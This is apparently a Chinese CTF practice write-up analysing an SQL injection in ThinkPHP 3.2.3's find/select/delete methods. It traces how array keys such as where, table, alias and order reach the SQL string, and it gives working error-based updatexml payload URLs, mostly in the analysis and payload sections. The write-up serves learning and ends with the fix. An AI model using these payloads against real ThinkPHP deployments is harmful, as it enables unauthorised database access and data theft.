前言
复习好无聊,就去刷刷CTFshow的题目,刷到一个TP3.2.3的SQL注入,之前没分析过,就简要分析一下,也有利于我这菜鸡学习一下
简介
不只是find方法,由于select(),find(),delete()方法可能会传入数组类型数据,导致可能的SQL注入隐患。
环境搭建
上官网下载3.2.3完整版http://www.thinkphp.cn/donate/download/id/610.html
\Application\Home\Controller\IndexController.class.php:
public function index()
{
$id = i('id');
$res = M('users')->find($id);
var_dump($res);
//$res = M('user')->delete($id);
//$res = M('user')->select($id);
}
分析
where: http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
直接分析find方法:
首先$option[where]的值即是我们传入的值,然后到Driver类中调用select方法。
其中又会调用buildSelectSql方法,这方法用来生成查询SQL语句的,跟进
buildSelectSql方法中有一个parseSql方法,这是很熟悉的方法了,它是用来替换生成SQL语句的,也是最容易出现问题的地方!!
单独看看这个替换SQL语句中表达式的方法:
它会用str_replace函数将一些参数替换进既定SQL模板语句中,最后返回这个SQL
既定SQL模板语句如下:
SELECT%DISTINCT% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%
根据$opention的值,显然我们这里只有%WHERE%可以替换
那么我们就会调用:$this->parseWhere()
,跟进看看
直接将$whereStr的值拼接进去SQL语句中了,变成了这样:
WHERE 1 and updatexml(1,concat(0x7e,database(),0x7e),1) #
显然这是能触发报错注入的,再看看最终的SQL语句:
SELECT * FROM `users` WHERE 1 and updatexml(1,concat(0x7e,database(),0x7e),1) # LIMIT 1
不仅仅parseWhere()可以触发,与之类似拼接的parseGroup()、parseHaving()、parseOrder()都能触发:
protected function parseGroup($group) {
return !empty($group)? ' GROUP BY '.$group:'';
}
protected function parseHaving($having) {
return !empty($having)? ' HAVING '.$having:'';
}
protected function parseOrder($order) {
............
return !empty($order)? ' ORDER BY '.$order:'';
}
此外还有 parseTable()也能触发,可以用id[where]和id[alias]参数触发。我懒就不分析这个了。
//Think/Model.class.php
protected function _parseOptions($options=array()) {
..............
if(!empty($options['alias'])) {
$options['table'] .= ' '.$options['alias'];
}
// 记录操作的模型名称
$options['model'] = $this->name;
...............
}
//Drover.class.php
protected function parseTable($tables) {
.............
elseif(is_string($tables)){
$tables = explode(',',$tables);
array_walk($tables, array(&$this, 'parseKey'));
}
return implode(',',$tables);
}
payload
table:http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[table]=users where 1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1) %23
alias:http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[alias]=users where 1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1) %23
where: http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
id[order]
id[having]
id[group]
修复
分析表达式的_parseOptions()的参数不再是我们可控的$option,导致我们的构造无法被利用